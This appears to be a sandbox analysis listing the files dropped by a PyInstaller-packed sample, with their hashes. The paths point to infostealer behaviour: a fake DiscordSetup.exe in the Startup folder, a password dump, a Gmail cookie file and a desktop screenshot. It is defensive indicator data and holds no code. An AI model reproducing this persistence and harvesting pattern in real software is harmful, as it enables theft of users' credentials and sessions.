C:\Users\Admin\AppData\Local\Temp\_MEI50162\_ssl.pyd

MD5 7910fb2af40e81bee211182cffec0a06
SHA1 251482ed44840b3c75426dd8e3280059d2ca06c6
SHA256 d2a7999e234e33828888ad455baa6ab101d90323579abc1095b8c42f0f723b6f
SHA512 bfe6506feb27a592fe9cf1db7d567d0d07f148ef1a2c969f1e4f7f29740c6bb8ccf946131e65fe5aa8ede371686c272b0860bd4c0c223195aaa1a44f59301b27

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_sqlite3.pyd

MD5 5279d497eee4cf269d7b4059c72b14c2
SHA1 aff2f5de807ae03e599979a1a5c605fc4bad986e
SHA256 b298a44af162be7107fd187f04b63fb3827f1374594e22910ec38829da7a12dc
SHA512 20726fc5b46a6d07a3e58cdf1bed821db57ce2d9f5bee8cfd59fce779c8d5c4b517d3eb70cd2a0505e48e465d628a674d18030a909f5b73188d07cc80dcda925

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_overlapped.pyd

MD5 fdf8663b99959031780583cce98e10f5
SHA1 6c0bafc48646841a91625d74d6b7d1d53656944d
SHA256 2ebbb0583259528a5178dd37439a64affcb1ab28cf323c6dc36a8c30362aa992
SHA512 a5371d6f6055b92ac119a3e3b52b21e2d17604e5a5ac241c008ec60d1db70b3ce4507d82a3c7ce580ed2eb7d83bb718f4edc2943d10cb1d377fa006f4d0026b6

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_multiprocessing.pyd

MD5 a9a0588711147e01eed59be23c7944a9
SHA1 122494f75e8bb083ddb6545740c4fae1f83970c9
SHA256 7581edea33c1db0a49b8361e51e6291688601640e57d75909fb2007b2104fa4c
SHA512 6b580f5c53000db5954deb5b2400c14cb07f5f8bbcfc069b58c2481719a0f22f0d40854ca640ef8425c498fbae98c9de156b5cc04b168577f0da0c6b13846a88

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_hashlib.pyd

MD5 d4674750c732f0db4c4dd6a83a9124fe
SHA1 fd8d76817abc847bb8359a7c268acada9d26bfd5
SHA256 caa4d2f8795e9a55e128409cc016e2cc5c694cb026d7058fc561e4dd131ed1c9
SHA512 97d57cfb80dd9dd822f2f30f836e13a52f771ee8485bc0fd29236882970f6bfbdfaac3f2e333bba5c25c20255e8c0f5ad82d8bc8a6b6e2f7a07ea94a9149c81e

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_decimal.pyd

MD5 20c77203ddf9ff2ff96d6d11dea2edcf
SHA1 0d660b8d1161e72c993c6e2ab0292a409f6379a5
SHA256 9aac010a424c757c434c460c3c0a6515d7720966ab64bad667539282a17b4133
SHA512 2b24346ece2cbd1e9472a0e70768a8b4a5d2c12b3d83934f22ebdc9392d9023dcb44d2322ada9edbe2eb0e2c01b5742d2a83fa57ca23054080909ec6eb7cf3ca

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_cffi_backend.cp310-win_amd64.pyd

MD5 2baaa98b744915339ae6c016b17c3763
SHA1 483c11673b73698f20ca2ff0748628c789b4dc68
SHA256 4f1ce205c2be986c9d38b951b6bcb6045eb363e06dacc069a41941f80be9068c
SHA512 2ae8df6e764c0813a4c9f7ac5a08e045b44daac551e8ff5f8aa83286be96aa0714d373b8d58e6d3aa4b821786a919505b74f118013d9fcd1ebc5a9e4876c2b5f

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_asyncio.pyd

MD5 33d0b6de555ddbbbd5ca229bfa91c329
SHA1 03034826675ac93267ce0bf0eaec9c8499e3fe17
SHA256 a9a99a2b847e46c0efce7fcfefd27f4bce58baf9207277c17bffd09ef4d274e5
SHA512 dbbd1ddfa445e22a0170a628387fcf3cb95e6f8b09465d76595555c4a67da4274974ba7b348c4c81fe71c68d735c13aacb8063d3a964a8a0556fb000d68686b7

C:\Users\Admin\AppData\Local\Temp\_MEI50162\unicodedata.pyd

MD5 81d62ad36cbddb4e57a91018f3c0816e
SHA1 fe4a4fc35df240b50db22b35824e4826059a807b
SHA256 1fb2d66c056f69e8bbdd8c6c910e72697874dae680264f8fb4b4df19af98aa2e
SHA512 7d15d741378e671591356dfaad4e1e03d3f5456cbdf87579b61d02a4a52ab9b6ecbffad3274cede8c876ea19eaeb8ba4372ad5986744d430a29f50b9caffb75d

C:\Users\Admin\AppData\Local\Temp\_MEI50162\tk86t.dll

MD5 4b6270a72579b38c1cc83f240fb08360
SHA1 1a161a014f57fe8aa2fadaab7bc4f9faaac368de
SHA256 cd2f60075064dfc2e65c88b239a970cb4bd07cb3eec7cc26fb1bf978d4356b08
SHA512 0c81434d8c205892bba8a4c93ff8fc011fb8cfb72cfec172cf69093651b86fd9837050bd0636315840290b28af83e557f2205a03e5c344239356874fce0c72b9

C:\Users\Admin\AppData\Local\Temp\_MEI50162\tcl86t.dll

MD5 75909678c6a79ca2ca780a1ceb00232e
SHA1 39ddbeb1c288335abe910a5011d7034345425f7d
SHA256 fbfd065f861ec0a90dd513bc209c56bbc23c54d2839964a0ec2df95848af7860
SHA512 91689413826d3b2e13fc7f579a71b676547bc4c06d2bb100b4168def12ab09b65359d1612b31a15d21cb55147bbab4934e6711351a0440c1533fb94fe53313bf

C:\Users\Admin\AppData\Local\Temp\_MEI50162\sqlite3.dll

MD5 914925249a488bd62d16455d156bd30d
SHA1 7e66ba53f3512f81c9014d322fcb7dd895f62c55
SHA256 fbd8832b5bc7e5c9adcf7320c051a67ee1c33fd198105283058533d132785ab4
SHA512 21a468929b15b76b313b32be65cfc50cad8f03c3b2e9bf11ca3b02c88a0482b7bc15646ce40df7fb42fbc96bd12362a54cffe0563c4ddc3fc78622622c699186

C:\Users\Admin\AppData\Local\Temp\_MEI50162\libssl-1_1.dll

MD5 bec0f86f9da765e2a02c9237259a7898
SHA1 3caa604c3fff88e71f489977e4293a488fb5671c
SHA256 d74ce01319ae6f54483a19375524aa39d9f5fd91f06cf7df238ca25e043130fd
SHA512 ffbc4e5ffdb49704e7aa6d74533e5af76bbe5db297713d8e59bd296143fe5f145fbb616b343eed3c48eceaccccc2431630470d8975a4a17c37eafcc12edd19f4

C:\Users\Admin\AppData\Local\Temp\_MEI50162\libcrypto-1_1.dll

MD5 9d7a0c99256c50afd5b0560ba2548930
SHA1 76bd9f13597a46f5283aa35c30b53c21976d0824
SHA256 9b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939
SHA512 cb39aa99b9d98c735fdacf1c5ed68a4d09d11f30262b91f6aa48c3f8520eff95e499400d0ce7e280ca7a90ff6d7141d2d893ef0b33a8803a1cadb28ba9a9e3e2

C:\Users\Admin\AppData\Local\Temp\_MEI50162\charset_normalizer\md__mypyc.cp310-win_amd64.pyd

MD5 494f5b9adc1cfb7fdb919c9b1af346e1
SHA1 4a5fddd47812d19948585390f76d5435c4220e6b
SHA256 ad9bcc0de6815516dfde91bb2e477f8fb5f099d7f5511d0f54b50fa77b721051
SHA512 2c0d68da196075ea30d97b5fd853c673e28949df2b6bf005ae72fd8b60a0c036f18103c5de662cac63baaef740b65b4ed2394fcd2e6da4dfcfbeef5b64dab794

C:\Users\Admin\AppData\Local\Temp\_MEI50162\certifi\cacert.pem

MD5 50ea156b773e8803f6c1fe712f746cba
SHA1 2c68212e96605210eddf740291862bdf59398aef
SHA256 94edeb66e91774fcae93a05650914e29096259a5c7e871a1f65d461ab5201b47
SHA512 01ed2e7177a99e6cb3fbef815321b6fa036ad14a3f93499f2cb5b0dae5b713fd2e6955aa05f6bda11d80e9e0275040005e5b7d616959b28efc62abb43a3238f0

C:\Users\Admin\AppData\Local\Temp\_MEI50162\charset_normalizer\md.cp310-win_amd64.pyd

MD5 f33ca57d413e6b5313272fa54dbc8baa
SHA1 4e0cabe7d38fe8d649a0a497ed18d4d1ca5f4c44
SHA256 9b3d70922dcfaeb02812afa9030a40433b9d2b58bcf088781f9ab68a74d20664
SHA512 f17c06f4202b6edbb66660d68ff938d4f75b411f9fab48636c3575e42abaab6464d66cb57bce7f84e8e2b5755b6ef757a820a50c13dd5f85faa63cd553d3ff32

C:\Users\Admin\AppData\Local\Temp\_MEI50162\PIL\_imaging.cp310-win_amd64.pyd

MD5 4338d11697ca3177f255725870c4310d
SHA1 28483a183686cdc246245ae1bd8717620cc39d08
SHA256 433681b1e01606b1730d2a7f7811fab558e4e8c0fa91d403cfd8d7cc1a2b6a09
SHA512 132d7a6b2576cf82306be87627d5d7682bd10c3a0978ad37942db4cec9a1a6ce5a30cbbf7485b31f177a512740fc73240318261e4ea12aadb6d18e8bbaffae99

C:\Users\Admin\AppData\Local\Temp\_MEI50162\psutil\_psutil_windows.pyd

MD5 3e579844160de8322d574501a0f91516
SHA1 c8de193854f7fc94f103bd4ac726246981264508
SHA256 95f01ce7e37f6b4b281dbc76e9b88f28a03cb02d41383cc986803275a1cd6333
SHA512 ee2a026e8e70351d395329c78a07acb1b9440261d2557f639e817a8149ba625173ef196aed3d1c986577d78dc1a7ec9fed759c19346c51511474fe6d235b1817

C:\Users\Admin\AppData\Local\Temp\_MEI50162\_tcl_data\encoding\cp1252.enc

MD5 e9117326c06fee02c478027cb625c7d8
SHA1 2ed4092d573289925a5b71625cf43cc82b901daf
SHA256 741859cf238c3a63bbb20ec6ed51e46451372bb221cfff438297d261d0561c2e
SHA512 d0a39bc41adc32f2f20b1a0ebad33bf48dfa6ed5cc1d8f92700cdd431db6c794c09d9f08bb5709b394acf54116c3a1e060e2abcc6b503e1501f8364d3eebcd52

memory/1632-1222-0x0000023B2EFF0000-0x0000023B2F012000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1m4syy33.4oe.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe

MD5 1a384aefde73cc7cafa385e841dcfbf0
SHA1 ae36b8fc8e8338571c1d04b5616151663b81f00b
SHA256 9a8e7237a333616437c21bcad6b93188c2b8d55f8618e474ab3212258bb14aa9
SHA512 6770d57d36d9b7a0b7675cce3a38b7c03cc65be1f583f3b71d192ddb8a26b376d50e55f6229787e8e68b20b368c2dddaa25efd606aebbc8330ef95c87da9182c

C:\Users\Admin\AppData\Local\Tempwptmhehlye.db

MD5 a182561a527f929489bf4b8f74f65cd7
SHA1 8cd6866594759711ea1836e86a5b7ca64ee8911f
SHA256 42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
SHA512 9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

C:\Users\Admin\AppData\Local\Temp\wppassw.txt

MD5 77f7bcb9d5c7b27ae6316f710a180908
SHA1 404bfb0f6cd6e0297f3640c62321ecdecad28e08
SHA256 70e98f126919d9dc5607fc9273a250ea2784f4645408fdf3f59d8dd7776a8d53
SHA512 e94bad9e54a29a8f2bdc4191755b450e11ff066788ba18e21c21175cce0c693a81c94dce439832bf97eb1ec420e311872689388aa5cd8d65a85c63ba375c50e4

C:\Users\Admin\AppData\Local\Tempwpwpmxeilv.db

MD5 349e6eb110e34a08924d92f6b334801d
SHA1 bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA512 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

C:\Users\Admin\AppData\Local\Tempwpqdyfmdhz.db

MD5 60fd61b06b82514556f2d817fdbcfc5c
SHA1 3aecb698f4858c190359f43a1c94447d8afd6e7c
SHA256 cd490a19ccf5b7317dc57e3ab73860ebb363461bfc3660ceefcebf321320e777
SHA512 193f6b3a9f241554be61d20e802e9cc6ed3cd571ad73dcd0d40641dd0d862f58e7b6cadcb6fb974479326c384ff69567e22be27881738ff0fa80d872c8b113f5

C:\Users\Admin\AppData\Local\Temp\chrome.exe_CookiesGmail.json

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

C:\Users\Admin\AppData\Local\Temp\desktopshot.png

MD5 65299c5ab6e33c47a478b409ed3ed80e
SHA1 9928418642355e084c1d93fca065465552ccb113
SHA256 9ae65a7d4053c4ec8b698b1f0a9a7f79669eac2e8520be80289ca43e6e927b81
SHA512 20958024530713ebd413bfe703cc920f828a41bc98fd9bea321d9d7a930ede093d4c672398649bb8fddeae5885274690234adbc0f09bdd7e43678a14511e844e